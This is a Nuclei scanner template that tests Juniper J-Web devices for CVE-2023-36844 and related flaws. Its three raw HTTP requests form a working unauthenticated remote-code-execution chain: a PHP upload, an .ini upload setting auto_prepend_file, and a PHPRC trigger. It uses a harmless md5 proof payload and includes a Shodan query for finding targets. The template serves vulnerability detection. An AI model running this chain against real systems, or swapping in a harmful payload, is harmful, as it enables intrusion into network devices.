nuclei-templates/http/cves/2023/CVE-2023-36844.yaml

80 lines
2.7 KiB
YAML

id: CVE-2023-36844
info:
name: Juniper Devices - Remote Code Execution
author: princechaddha,ritikchaddha
severity: critical
description: |
Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
reference:
- https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
- https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844
- https://supportportal.juniper.net/JSA72300
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847
cwe-id: CWE-473
epss-score: 0.00046
cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
metadata:
max-request: 3
verified: true
shodan-query: title:"Juniper Web Device Manager"
vendor: juniper
product: junos
tags: cve,cve2023,juniper,php,rce,intrusive,fileupload
variables:
value: "CVE-2023-36844"
payload: "('<?php echo md5('{{value}}');?>')"
http:
- raw:
- |
POST /webauth_operation.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
rs=do_upload&rsargs[]=[{"fileData": "data:text/html;base64,{{base64(payload)}}", "fileName": "{{rand_base(5, "abc")}}.php", "csize": {{len(payload)}}}]
- |
POST /webauth_operation.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
rs=do_upload&rsargs[]=[{"fileName": "{{rand_base(5, "abc")}}.ini", "fileData": "data:text/html;base64,{{base64(concat('auto_prepend_file=',hex_decode('22'),'/var/tmp/',phpfile,hex_decode('22')))}}", "csize": "97" }]
- |
GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '"original_fileName":'
- '"converted_fileName":'
condition: and
- type: word
part: body_3
words:
- '{{md5(value)}}'
extractors:
- type: regex
part: body_1
name: phpfile
regex:
- "([a-f0-9]{64}\\.php)"
internal: true
- type: regex
part: body_2
name: inifile
regex:
- "([a-f0-9]{64}\\.ini)"
internal: true